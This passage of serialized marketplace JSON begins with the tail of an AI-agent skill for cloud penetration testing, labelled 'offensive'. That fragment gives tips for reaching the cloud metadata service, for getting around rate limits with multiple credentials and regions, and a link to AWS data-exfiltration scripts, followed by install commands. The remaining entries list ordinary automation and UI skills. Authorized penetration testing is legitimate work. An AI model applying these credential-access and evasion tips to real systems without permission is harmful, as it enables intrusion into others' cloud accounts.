alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references\u002Fadvanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":24,"author":25,"source":26,"date_added":27,"description":7},"offensive","zebbern","community","2026-02-27","main","87afe6ce96220accf50a345dea46784c8c9f210e","YYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fcloud-penetration-testing",0,"https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base","https:\u002F\u002Fkb.yyc3.top\u002F","https:\u002F\u002Fgithub.com\u002FYYC-Cube","万象归元于云枢 | 深栈智启新纪元","2026-11-10 10:37:32",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill cloud-penetration-testing",{"tool":43,"command":44},"bunx","bunx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill cloud-penetration-testing",{"tool":46,"command":47},"pnpm","pnpm dlx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill cloud-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fcloud-penetration-testing\u002FSKILL.md",true,[51],{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"references\u002Fadvanced-cloud-scripts.md","REFERENCE","参考文档",11654,"https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fcloud-penetration-testing\u002Freferences\u002Fadvanced-cloud-scripts.md",[58,65,72,79,86,93],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7CTDWHERCXPQCP0K03A86AS","vercel-sandbox","Run agent-browser + Chrome inside Vercel Sandbox microVMs for browser automation from any Vercel-deployed app. Use when the user needs browser automation in a Vercel app (Next.js, SvelteKit, Nuxt, Remix, Astro, etc.), wants to run headless Chrome without binary size limits, needs persistent browser sessions across commands, or wants ephemeral isolated browser environments. Triggers include \"Vercel Sandbox browser\", \"microVM Chrome\", \"agent-browser in sandbox\", \"browser automation on Vercel\", or any task requiring Chrome in a Vercel Sandbox.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fvercel-sandbox\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7CTD8D2BNJY54S65M47HEJA","slack","Interact with Slack workspaces using browser automation. Use when the user needs to check unread channels, navigate Slack, send messages, extract data, find information, search conversations, or automate any Slack task. Triggers include \"check my Slack\", \"what channels have unreads\", \"send a message to\", \"search Slack for\", \"extract from Slack\", \"find who said\", or any task requiring programmatic Slack interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fslack\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7CTCSSB8ZP3Q58C3YZDZK1W","electron","Automate Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify, etc.) using agent-browser via Chrome DevTools Protocol. Use when the user needs to interact with an Electron app, automate a desktop app, connect to a running app, control a native app, or test an Electron application. Triggers include \"automate Slack app\", \"control VS Code\", \"interact with Discord app\", \"test this Electron app\", \"connect to desktop app\", or any task requiring automation of a native Electron application.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Felectron\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7CTCBJY76688V4DCZGWFHGQ","dogfood","Systematically explore and test a web application to find bugs, UX issues, and other problems. Use when asked to \"dogfood\", \"QA\", \"exploratory test\", \"find issues\", \"bug hunt\", \"test this app\u002Fsite\u002Fplatform\", or review the quality of a web application. Produces a structured report with full reproduction evidence -- step-by-step screenshots, repro videos, and detailed repro steps for every issue -- so findings can be handed directly to the responsible teams.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fdogfood\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7CTC4H0FFGVEAQR9PA4GA1A","agent-browser","Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to \"open a website\", \"fill out a form\", \"click a button\", \"take a screenshot\", \"scrape data from a page\", \"test this web app\", \"login to a site\", \"automate browser actions\", or any task requiring programmatic web interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fagent-browser\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":19},"01M7CTBKVFYBG78FDSABSDJTTQ","shadcn","Manages shadcn components and projects — adding, searching, fixing, debugging, styling, and composing UI, including chat interfaces. Provides project context, component docs, and usage examples. Applies when working with shadcn\u002Fui, component registries, presets, --preset codes, or any project with a components.json file. Also triggers for \"shadcn init\", \"create an app with --preset\", \"switch to --preset\", and for building a design system or applying a DESIGN.md or brand spec to shadcn\u002Fui.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-UI-界面组件\u002FYYC3-UI-界面组件-ui\u002Fskills\u002Fshadcn\u002FSKILL.md",[],[]]